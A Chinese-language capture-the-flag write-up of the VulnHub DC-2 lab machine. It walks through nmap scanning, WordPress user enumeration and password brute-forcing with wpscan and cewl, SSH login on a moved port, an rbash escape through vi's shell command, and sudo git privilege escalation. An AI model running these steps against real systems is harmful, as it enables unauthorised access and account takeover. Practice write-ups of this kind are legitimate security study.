靶机链接:DC: 2 ~ VulnHub

信息收集

IP

1
nmap 192.168.56.101/24

img

kali:192.168.56.101

靶机:192.168.56.105

端口

1
nmap -sTCV 192.168.56.105

img

就扫到一个80端口,看来只能从web找突破口了

web

看以看到上面的扫描结果,80端口被重定向到http://dc-2/了,直接用ip访问的话,浏览器会自动跳到http://dc-2/这个站,而dns是不知道这个站的ip的,所以会打不开。

这时候我们要手动配置hosts文件

1
sudo vim /etc/hosts

加上这一条解析

1
192.168.56.105	dc-2

然后保存就好,打开网站就能看到了

img

用whatweb来看下网站的信息

1
whatweb http://192.168.56.105/

img

可以看到,用了word press框架,版本是WordPress 4.7.10

用searchsploit找了下,没有找到可以用的

接着又对目录进行爆破,没有发现有用的东西

看到Web站点的Flag提示,应该是要我们去爆破后台;而且一般的字典是爆破不出他的密码,flag提到了一个工具cewl

img

想到Kali里自带了一个专门针对wordpress的扫描器wpscan,那我们先用它来枚举一下看有哪些用户名

1
2
3
wpscan --url http://dc-2/ --enumerate u
# 从别的师傅那学到的
nmap --script=vuln 192.168.56.105

扫出3个用户

img

接着用之前flag里提到的工具cewl来生成字典

1
cewl http://dc-2/ -w pwd.txt

img

可以看到,成功生成了字典,接着就用这个生成的字典,来爆破上面的三个用户

爆破密码

1
2
3
4
5
wpscan --url http://dc-2/ -P pwd.txt

[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

img

登录

登录jerry用户,在post里面发现flag2

img

flag2:

如果你不能利用wordpess走捷径的话,还有其他办法

我又登录了tom,信息比jerry还少,pages里面就只有一篇文章,连flag都没有

之前打靶机是通过wordpress的插件写php拿到的shell,这里直接没看到入口。

跟着提示,从其他地方找突破口,之前扫出来的就一个80端口,除了这个wordpress也没啥了,提示说找其他突破口,也就是还有其他点,于是我重新扫了一遍全端口,看有没有其他的服务开放

7744 SSH

1
nmap -sTVC 192.168.56.105 -p-

img

扫出来一个7744端口,可以看到,运行的是SSH服务。肯定是修改了默认端口,把22改成7744了。

既然只有这一个多扫出来的端口,那就只有这里了,结合之前爆破出来的账号密码,连接试下

1
ssh tom@192.168.56.105 -p 7744

我先试了jerry的,因为他在web可以登录,然后失败了;

然后换成tom,连接成功了。

getshell

img

如上图,习惯性打了一波whoami,居然执行不了,说没找到命令,先不管(其实后面还是要管)

拿到shell,先pwd,ls看一波

1
2
3
4
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt usr

看到个flag3.txt,习惯性cat看一下

1
2
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

cat命令用不了,我没遇到过这种情况。有些机子vim用不了,因为没装,那我还能理解,我用vi就好,但是连cat都不能用,就觉得很奇怪了。但是也不知道是什么原因。

然后,flag3旁边还有个usrcd进去看看。发现cd命令都用不了了。然后用ls去列出usr里面的东西,发现只有一个bin目录,然后在靠ls列出里面的东西。

发现有四个命令,猜测应该是tom这个用户可以执行的命令了。

我看了kali用户的home目录,以及我vps的home目录,里面都没有/home/xxx/usr/bin,应该是这个靶机特有的

1
2
3
4
5
6
tom@DC-2:~$ cd usr
-rbash: cd: restricted
tom@DC-2:~$ ls ./usr
bin
tom@DC-2:~$ ls usr/bin
less ls scp vi

发现有lessvi,那随便就可以用这二者之一看到flag3里面的内容

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

看到su,我就感觉要切换用户jerry,但是能用的4个命令,不足以让我们切换到jerry

rbash 绕过

于是我上网找资料,才知道rbash这个东西

然后才注意到他的输出,和我右边的kali对比,是不一样的,他前面多了个-rbash

img

查了下rbash,就是一个功能受限的bash,很多命令他用不了,但是可以逃逸(第一篇出来的就是rbash绕过)

按照网上的教程,开始绕过

1
2
3
4
5
6
# 进入vi
vi
# 命令行:模式下输入
setshell=/bin/bash
# 命令行:模式下输入
shell

然后跳出了vi,回到了shell界面

试着执行了几个命令,虽然是bash环境了,但一些命令还是无法执行,并且无法执行su命令

img

去看了别人的wp,发现还要导入环境变量

1
2
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

jerry 登场

现在就可以切换用户了,输入密码,切换成功!

这里我其实有一点疑问,我对Linux不是特别了解。为啥之前ssh连接的时候,我先试的就是jerry,那个时候,提示认证失败,这里切换用户,还是那个密码,却可以成功切换?

img

切到jerry的home目录,发现了flag4.txt

Good to see that you’ve made it this far - but you’re not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you’re on your own now. :-)

Go on - git outta here!!!!

没有提示,那就提权方法都试一下

提权

  • suid提权,没找到能用的命令
  • 撞库,用tom和jerry的密码还有弱口令去撞root的密码,都是错误
  • sudo -l,看到个git,网上搜了一下git提权,有东西!

按照这个博客的教程 git提权方法

成功提权到root

img

flag

最后一步啦,去拿flag

img

完成~~~

总结

整体思路

nmap扫ip,端口,发现80端口

访问web服务,是个wp框架,拿到flag1:爆破用户,cewl

用wpscan扫描到用户名,根据flag1提示用cewl生成字典,爆破。得到tom和jerry的密码

web登录jerry,发现flag2提示我们从其他的点进行突破

于是我们重新扫描全端口,发现ssh被改到了7744端口,用tom连上了ssh,在tom的home目录下,我们看到了flag3,提示我们要换到jerry

要bash命令,我们要绕过rbash。成功切换到jerry

然后发现jerry可以不用密码执行git

git提权,done!

总结&收获

疑惑

  • ssh连不上jerry,su却可以,不知道为什么

不足

  • 对于工具的使用,不是很熟练,哪个工具能干什么,不是特别清楚。知道要干啥,不知道要用什么工具

收获

  • 知道了cewl这么个工具,其实有点diy字典的意思
  • rbash绕过,第一次接触到rbash
  • 第一次遇到ssh改到其他端口,下次就知道了,常规没扫出22端口的,服务器没开ssh服务的可能性小,改了默认端口的可能性大